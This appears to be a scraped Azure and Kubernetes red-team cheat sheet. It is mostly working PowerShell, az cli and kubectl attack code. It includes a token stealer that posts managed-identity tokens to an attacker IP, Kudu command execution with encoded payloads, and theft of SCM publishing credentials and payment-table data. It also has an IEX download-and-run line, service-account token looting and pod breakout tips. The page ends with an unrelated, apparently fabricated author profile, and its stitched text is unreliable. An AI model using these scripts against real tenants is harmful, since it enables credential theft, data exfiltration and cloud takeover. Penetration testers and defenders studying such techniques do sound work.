$($app.Name). Error: $($_.Exception.Message)" }}
Use Master Keys to Read Settings
# Define variables$masterKey = ""$functionAppName = ""$resourceGroupName = ""# Get Function App URL$functionApp = Get-AzFunctionApp -ResourceGroupName $resourceGroupName -Name $functionAppName$functionAppUrl = $functionApp.DefaultHostName# Define the request URL$requestUrl = "https://$functionAppUrl/admin/host/status"# Define headers with master key$headers = @{ "x-functions-key" = $masterKey}# Make the GET request to read settings$response = Invoke-RestMethod -Uri $requestUrl -Method Get -Headers $headers# Output the response$response
Source Code and Connection String Abuse
$rg = ""$appname = ""$username = ""$pw = ""$sub = ""# Show Managed IDsaz functionapp identity show --name $appName --resource-group $rg# Check for Connection Stringsaz webapp config connection-string list --name $appName --resource-group $rg# List Deployment Profiles to grab connection strings and other credentials az webapp deployment list-publishing-profiles --resource-group $rg --name $appName # Get Function App Source Codeaz rest --method GET -u "https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Web/sites/$appName/functions?api-version=2021-02-01"OR# Get source code as local git az webapp deployment source config-local-git --resource-group $rg --name $appName# Access/Modify the code via gitgit clone "https://$username:$pw@$appName.scm.azurewebsites.net/$appName.git"## In my case the username was: $nameofthewebapp and the password some random chars# Basic Stealerparam($Request, $TriggerMetadata)$resource = "https://management.azure.com/"$endpoint = "http://169.254.169.254/metadata/identity/oauth2/token"$params = @{ "api-version" = "2019-08-01" "resource" = $resource}$headers = @{ Metadata = "true"}try { $response = Invoke-RestMethod -Uri $endpoint -Method Get -Headers $headers -Body $params -ContentType "application/x-www-form-urlencoded" $accessToken = $response.access_token Write-Output "Access Token retrieved successfully." Write-Output "Access Token: $accessToken"} catch { Write-Output "Failed to retrieve access token. Error: $($_.Exception.Message)"}# PowerShell Function App - Token Stealer Script$resource = "https://management.azure.com/"$ip = "" # Replace with the actual IP address you want to post to$endpoint = "http://169.254.169.254/metadata/identity/oauth2/token"$params = @{ api-version = "2019-08-01" resource = $resource}$headers = @{ Metadata = "true"}try { $response = Invoke-RestMethod -Uri $endpoint -Method Get -Headers $headers -Body $params -ContentType "application/x-www-form-urlencoded" $accessToken = $response.access_token Write-Output "Access Token retrieved successfully."} catch { Write-Output "Failed to retrieve access token. Error: $($_.Exception.Message)" return}$postUrl = "http://$ip"try { $postResponse = Invoke-RestMethod -Uri $postUrl -Method Post -Body @{ token = $accessToken } -ContentType "application/x-www-form-urlencoded" Write-Output "Token posted successfully."} catch { Write-Output "Failed to post the token. Error: $($_.Exception.Message)"}
Master Keys - Using FuncationApp Master Keys and Undocumented VFS API
https://rogierdijkman.medium.com/privilege-escalation-via-storage-accounts-bca24373cc2e$functionUrl = ""$masterKey = ""Invoke-RestMethod -Uri $functionUrl/api/HttpTrigger1?code=$masterKey# Post Stealer.ps1 to Retrieve Access Token# Variables$functionAppName = "xmgoat32232"$functionName = "xmgoat3-function" # Replace with the actual function name inside your function app$masterKey = $masterkey$pathToNewCode = ".\stealer.ps1"# Encode the master key in base64$encodedAuth = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(":$masterKey"))# Construct the URL$url = "https://$functionAppName.scm.azurewebsites.net/api/vfs/site/wwwroot/$functionName/run.ps1"# Execute the curl commandcurl.exe -X PUT $url -H "Authorization: Basic $encodedAuth" --data-binary @$pathToNewCode# Restart the App$url2 = "https://$functionAppName.scm.azurewebsites.net/api/app/restart"# Execute the curl command to restart the function app$response = curl.exe -X POST $url2 -H "Authorization: Basic $encodedAuth"# Output the response$response# Get Environment Variablescurl -X GET -H "Authorization: Bearer $(az account get-access-token | jq '.accessToken' -r)" -H "Content-Type:application/json" -H "Accept:application/json" 'https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Web/sites/{name}/hostruntime/admin/vfs/proc/self/environ?api-version=2022-03-01' > environment-variables.txt && cat environment-variables.txt
Kudu - Use the Kudu API to POST a PowerShell stealer to the function app if you have publish Action rights
$appName = "sc4-windows-function-app"$us4Token = (Get-AzAccessToken).Token$method = "POST"$URI = "https://$appName.scm.azurewebsites.net:443/api/command"$headers = [System.Collections.Generic.Dictionary[string,string]]::new()$headers.Add("Host", "$appName.scm.azurewebsites.net")$headers.Add("Authorization", "Bearer $us4Token")$userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"$contentType = "application/json"# ***REPLACE*** with Actual ClientID of the FunctionApp$appClientId = ""$GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="XXXXXX-XXXXXX-XXXXXX-XXXXXX";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://graph.microsoft.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent'# Should Interpolate the ClientID may need work# $GeTokenPayload = @"# \$headers=@{"X-IDENTITY-HEADER"=\$env:IDENTITY_HEADER};\$ClientId ="$appClientId";\$ProgressPreference = "SilentlyContinue";\$response = Invoke-WebRequest -UseBasicParsing -Uri "\$($env:IDENTITY_ENDPOINT)?resource=https://graph.microsoft.com&client_id=\$ClientId&api-version=2019-08-01" -Headers \$headers;\$response.RawContent# "@# Encode the PowerShell command in Base64$Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload))# JSON body with the encoded command$body = @{ command = "powershell -EncodedCommand $Encoded64" dir = "C:\home"} | ConvertTo-Json$response = Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body$response.Content# Use the new Token$mi = "" # accessToken$tenantid = "" # tenant$appId = "" # clientIdConnect-AzureAD -tenant $tenantid -AccountId $appId -AADAccessToken $mi
Enumerate Function Apps and Roles as Service Principal
$clientId = ""$tenantId = ""$secret = ""$appName = ""$securePassword = ConvertTo-SecureString $secret -AsPlainText -Force$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $clientId, $securePassword# Connect to Azure with the service principal / manged IDConnect-AzAccount -ServicePrincipal -Credential $credential -Tenant $tenantId# Check out Role Assignment$role = Get-AzRoleAssignment -ServicePrincipalName $clientId$roleDefinition = Get-AzRoleDefinition -Name $role.RoleDefinitionName$roleDefinition$roleDefinition.Permissions.Actions | Format-List$roleDefinition.Permissions.NotActions | Format-List# QuickerAzRoleAssignment$us4RoleAssignment = (Get-AzRoleAssignment).RoleDefinitionId(Get-AzRoleDefinition -Id $us4RoleAssignment).Actions# az cli - Use the 'appId' and new password you added to abuse service Principal of managed IDaz login --service-principal -u $appid -p $pass -t $tenantId --allow-no-subscriptionsaz ad sp show --id $appIdaz role assignment list --assignee $appId --scope /subscriptions/$subscriptionId# AzureAD - Can also user AzureAD to get the role IDs$appObjectID = (Get-AzureADApplication -SearchString s$appName).ObjectID $app = Get-AzureADApplication -ObjectId $appObjectID $app.requiredResourceAccess | ConvertTo-Json -Depth 3# Extract the requiredResourceAccess property$resourceAccess = $app.requiredResourceAccess# Initialize an array to store the role IDs$roleIds = @()# Extract the IDs from the requiredResourceAccessforeach ($access in $resourceAccess) { foreach ($resource in $access.ResourceAccess) { $roleIds += $resource.Id }}
Reader Role - Use this undocumented endpoint to read function files if you have Reader rights

https://management.azure.com/subscriptions/<<>>/resourceGroups/<<>>/providers/Microsoft.Web/sites/<<>>/hostruntime/admin/vfs//?relativePath=1&api-version=2021-01-15

In the example above, $SUB_ID would be your subscription ID, and this is for the “vfspoc” Function App in the “tester” resource group.

Function/Storage - Same Function also has reader rights to the Storage Table for payment data
az storage account list --query "[].name" -o tsvaz storage table list --account-name custdatabase --output table --auth-mode login
Function/Storage - Query the Storage Table for Payment Data
az storage entity query --table-name customers --account-name custdatabase --output table --auth-mode login
Python Function App - Query Identity Endpoint inside Python Function
import loggingimport osimport azure.functions as funcdef main(req: func.HttpRequest) -> func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') # Get environment variables for the identity endpoint and header IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] # Create a curl command to get the identity information cmd = ( 'curl "%s?resource=https://management.azure.com&api-version=2017-09-01"' ' -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) ) # Execute the curl command and read the output val = os.popen(cmd).read() # Return the output as an HTTP response return func.HttpResponse(val, status_code=200)
JS Function App - Azure Access token
const https = require('https');module.exports = async function (context, req) { context.log('JavaScript HTTP trigger function processed a request.'); // Get environment variables for the identity endpoint and header const identityEndpoint = process.env["IDENTITY_ENDPOINT"]; const identityHeader = process.env["IDENTITY_HEADER"];  // Set up options for the HTTPS request const options = { hostname: identityEndpoint.replace('https://', ''), port: 443, path: `/?resource=https://management.azure.com&api-version=2017-09-01`, method: 'GET', headers: { 'secret': identityHeader } }; // Promisify the HTTPS request and return the result const val = await new Promise((resolve, reject) => { const req = https.request(options, (res) => { let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve(data); }); }); req.on('error', (e) => { reject(e); }); req.end(); }); context.res = { // status defaults to 200 body: val };};
Dotnet Function App - Azure Access Token
using System;using System.IO;using System.Net.Http;using System.Threading.Tasks;using Microsoft.AspNetCore.Mvc;using Microsoft.Azure.WebJobs;using Microsoft.Azure.WebJobs.Extensions.Http;using Microsoft.AspNetCore.Http;using Microsoft.Extensions.Logging;public static class AzureFunction{ [FunctionName("IdentityFunction")] public static async Task<IActionResult> Run( [HttpTrigger(AuthorizationLevel.Function, "get", Route = null)] HttpRequest req, ILogger log) { log.LogInformation("C# HTTP trigger function processed a request."); // Get environment variables for the identity endpoint and header var identityEndpoint = Environment.GetEnvironmentVariable("IDENTITY_ENDPOINT"); var identityHeader = Environment.GetEnvironmentVariable("IDENTITY_HEADER"); using (var httpClient = new HttpClient()) { // Set up the request header httpClient.DefaultRequestHeaders.Add("secret", identityHeader); // Make the GET request var response = await httpClient.GetStringAsync($"{identityEndpoint}?resource=https://management.azure.com&api-version=2017-09-01"); return new OkObjectResult(response); } }}

Function App - Create new SCM User for Function App and Execute Commands

# Get the current Azure context$APSUser = Get-AzContext *>&1# Set the resource to Azure Management$resource = "https://management.azure.com"# Authenticate and get the access token$scenario5Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate( $APSUser.Account,  $APSUser.Environment,  $APSUser.Tenant.Id.ToString(),  $null,  [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never,  $null,  $resource).AccessToken# Prepare parameters for the function app$arr = @("SubscriptionId", "ResourceGroupName", "Name")$uriParam = [System.Collections.ArrayList]::new()foreach ($param in $arr) { $uriParam.add(((Get-AzFunctionApp) | Where-Object { $_.Name -cmatch "sc5" }).$param)}# Define HTTP method and URI$method = "POST"$URI = "https://management.azure.com:443/subscriptions/$($uriParam[0])/resourceGroups/$($uriParam[1])/providers/Microsoft.Web/sites/$($uriParam[2])/publishxml?api-version=2022-03-01"# Prepare HTTP headers$headers = [System.Collections.Generic.Dictionary[string,string]]::new()$headers.Add("Host", "management.azure.com")$headers.Add("Accept", "text/html,application/xhtml+xml")$headers.Add("Authorization", "Bearer $scenario5Token")# Define content type$contentType = "application/x-www-form-urlencoded"# Invoke the web request$response = Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $URIParams# Extract credentials from the response$userSCM = ($response.Content).split('"')[9]$passwordSCM = ($response.Content).split('"')[11]# Output credentialsWrite-Host "[+] UserName: $userSCM"Write-Host "[+] Password: $passwordSCM"# Retrieve the client ID for the user-assigned identity named 'id5' in the specified resource group$id5ClientID = (Get-AzUserAssignedIdentity -Name id5 -ResourceGroupName sc5).ClientId# Output the client IDWrite-Host "[+] ID5 Client ID: $id5ClientID"# Prepare authorization information for Kudu API$base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM, $passwordSCM)))# PowerShell script to be executed on Kudu$getTokenPayload = @"$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="$id5ClientID";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://management.azure.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent"@# Encode the PowerShell script for secure transmission$encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($getTokenPayload))# Setup HTTP request$method = "POST"$URI = "https://sc5-windows-function-app.scm.azurewebsites.net:443/api/command"$headers = [System.Collections.Generic.Dictionary[string,string]]::new()$headers.Add("Authorization", "Basic $base64AuthInfo")$headers.Add("Host", "sc5-windows-function-app.scm.azurewebsites.net")$userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"$contentType = "application/json"# JSON body with the encoded command$body = @{ "command" = "powershell -EncodedCommand $encoded64" "dir" = "C:\\home"} | ConvertTo-Json# Execute the request and capture the response$response = Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body# Parse and extract the ID5 token from the response$id5Token = ($response.Content).Split('"')[6].Split("")# Output the ID5 tokenWrite-Host "[+] ID5 Token: $id5Token"# Storage# SAS# Containers and Blobs# KeyVault

Containers

Docker - PrivEsc and Breakout Cheatsheet

https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-core_pattern

ACR - Authenticated Enumeration of Docker images
# List Docker images inside the registryIEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2$user = ""$pass = ""$root = "$root"Get-AzACR -username $user -password $pass -registry $root.azurecr.io
ACR - Login and Pull Images from Registry
docker login $root.azurecr.io --username $user --password $passdocker pull $root.azurecr.io/<image>:<tag>

LogicApps

Not vulnerable to SSRF. Curling won’t return the token as with the others.

az cli - Enumeration
# Listaz logic workflow list --resource-group <ResourceGroupName> --subscription <SubscriptionID> --output table# Get infoaz logic workflow show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID># Get Logic App configaz logic workflow definition show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID># Get service ppal usedaz logic workflow identity show --name <LogicAppName> --resource-group <ResourceGroupName> --subscription <SubscriptionID>

Application Endpoints and App Proxy

Create new Service Principal Password Credential
Import-Module Microsoft.Graph.ApplicationsConnect-MgGraph $servicePrincipalId = "<service-principal-id>"$params = @{ passwordCredential = @{ displayName = "NewCreds" }}Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params
Enumerate possible endpoints for applications starting/ending with PREFIX
$prefix = ""Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,"$prefix")" | % {$_.ReplyUrls}Get-AzureADApplication -All $true -Filter "endswith(displayName,$prefix)" | Select-Object ReplyUrls,WwwHomePage,HomePage
Enumerate apps that have an app proxy
Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}. .\C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>

Kubernetes - https://github.com/rootsecdev/Azure-Red-Team/edit/master/Kubernetes/Readme.md

References to setup an AKS Cluster in Azure:https://docs.microsoft.com/en-us/azure/aks/learn/quick-kubernetes-deploy-portal?tabs=azure-cli

Microsoft Recon

If you have some Microsoft creds that have access to an AKS cluster

Login:

az login

Configure kubectl to connect to your Kubernetes cluster:

az aks get-credentials --resource-group myResourceGroup --name myAKSCluster

If you are on a administrative VM with WSL or linux box. You can and should loot the .kube directory!

Discovery and Enumeration

Discovery with nmap (Sample with IP Address):

nmap -sC -sV -p- -oA Kubernetes1 10.10.197.28

Pay attention to DNS names from NMAP scan outputs as they can give away that you are working with a Kubernetes environment when you have a cluster operating on a non standard port.

Discovering Kubernetes Clusters with Kube Hunter:

Note: You can do single IP addresses or entire subnet ranges with this tool. If on a penetration testing engagement this should be helpful for fingerprinting kubernetes clusters and developing a quick win on potential pod misconfigurations.

Software URL:https://github.com/aquasecurity/kube-hunter

Installation:

sudo pip3 install kube-hunter

Run Kube hunter:

kube-hunter
Initial Exploitation

After Gaining access to a cluster. Usually by misconfiguration with the application that it is hosting. PHP, Grafana, etc.

Service Account Token Location

/var/run/secrets/kubernetes.io/serviceaccount/token

Dropping out token and exporting it with your current terminal session:

cat /var/run/secrets/kubernetes.io/serviceaccount/token
export TOKEN={TOKEN}

Checking your permissions with the current token that you have(remote command):

kubectl --server https://serverip:port --token=$TOKEN auth can-i --list

If cluster is running a self sign certificate then add insecure tls to your command:

kubectl --server https://serverip:port --token=$TOKEN --insecure-skip-tls-verify auth can-i --list

Checking your permissions with the current token that you have (Local Commands):

This is basically the same thing as above with the exception that you are dropping the —server command

ProTip: If you need to do file transfers to a pod. Its very possible you may be in a pod without wget or curl commands. Normally I am only transfer kubectl and a poisoned pod of some sort. Pwncat-cs has been an excellent choice not only from an upload standpoint but you will have a nice full tty session to work with as well.

Github: https://github.com/calebstewart/pwncat

Installation:

pip install pwncat-cs

Install with venv (What I would recommend so you don’t impact other projects with python version dependicies on your attack box.)

python3 -m venv pwncat-envsource pwncat-env/bin/activatepip install pwncat-cs

Check Permissions:

kubectl --token=$TOKEN auth can-i --list

Checking out what PODS are running(Remote):

kubectl get pods --server https://serverip:port --token=$TOKEN --insecure-skip-tls-verify

(Local):

kubectl get pods --token=$TOKEN

Get POD Configurations

This is useful if you need to produce an image of the same type with a posioned pod for later.

(Local):

./kubectl get pod php-deploy-6d998f68b9-wlslz --token=$TOKEN -o yaml

Hunting for API’s and getting secrets from them

Get API’s

(Remote):

kubectl api-resources --server https://ip:port --token=$TOKEN --insecure-skip-tls-verify

(Local):

kubectl api-resources --token=$TOKEN --insecure-skip-tls-verify

Get namespaces from within API Example is through a API called “secrets”:

(Remote):

kubectl --server https://10.10.103.214:6443 --token=$TOKEN --insecure-skip-tls-verify get secrets --all-namespaces

(Local):

kubectl --token=$TOKEN secrets --all-namespaces

Pull up YAML output of name/namespaces(example for flag3):

kubectl --server https://10.10.103.214:6443 --token=$TOKEN --insecure-skip-tls-verify get secrets flag3 -n kube-system -o yaml
Escaping with bad pods

URL Reference: https://github.com/BishopFox/badPods

Tips and Tricks with bad pods:

If Isolated from internet include this in your yaml config:

imagePullPolicy: IfNotPresent

Always make note of your mount point when breaking out from a pod. This will be in your yaml config of your bad pod. For example this will make your mount point at /host:

volumeMounts: - mountPath: /host name: noderoot
Penetration Testing Resources on Kubernetes

Try Hack Me Rooms:

Insekube: https://tryhackme.com/room/insekube

Frank & Herby make an app: https://tryhackme.com/room/frankandherby

Frank and Herby try again: https://tryhackme.com/room/frankandherbytryagain

PalsForLife: https://tryhackme.com/room/palsforlife

Kubernetes for Everyone: https://tryhackme.com/room/kubernetesforyouly

Island Orchestration: https://tryhackme.com/room/islandorchestration

Hack The Box rooms

Unobtainium: https://app.hackthebox.com/machines/Unobtainium

Azure - Exploiting Storage, Web, App Services and Managed Identity (2024)
Top Articles
Latest Posts
Article information

Author: Eusebia Nader

Last Updated:

Views: 6570

Rating: 5 / 5 (80 voted)

Reviews: 87% of readers found this page helpful

Author information

Name: Eusebia Nader

Birthday: 1994-11-11

Address: Apt. 721 977 Ebert Meadows, Jereville, GA 73618-6603

Phone: +2316203969400

Job: International Farming Consultant

Hobby: Reading, Photography, Shooting, Singing, Magic, Kayaking, Mushroom hunting

Introduction: My name is Eusebia Nader, I am a encouraging, brainy, lively, nice, famous, healthy, clever person who loves writing and wants to share my knowledge and understanding with you.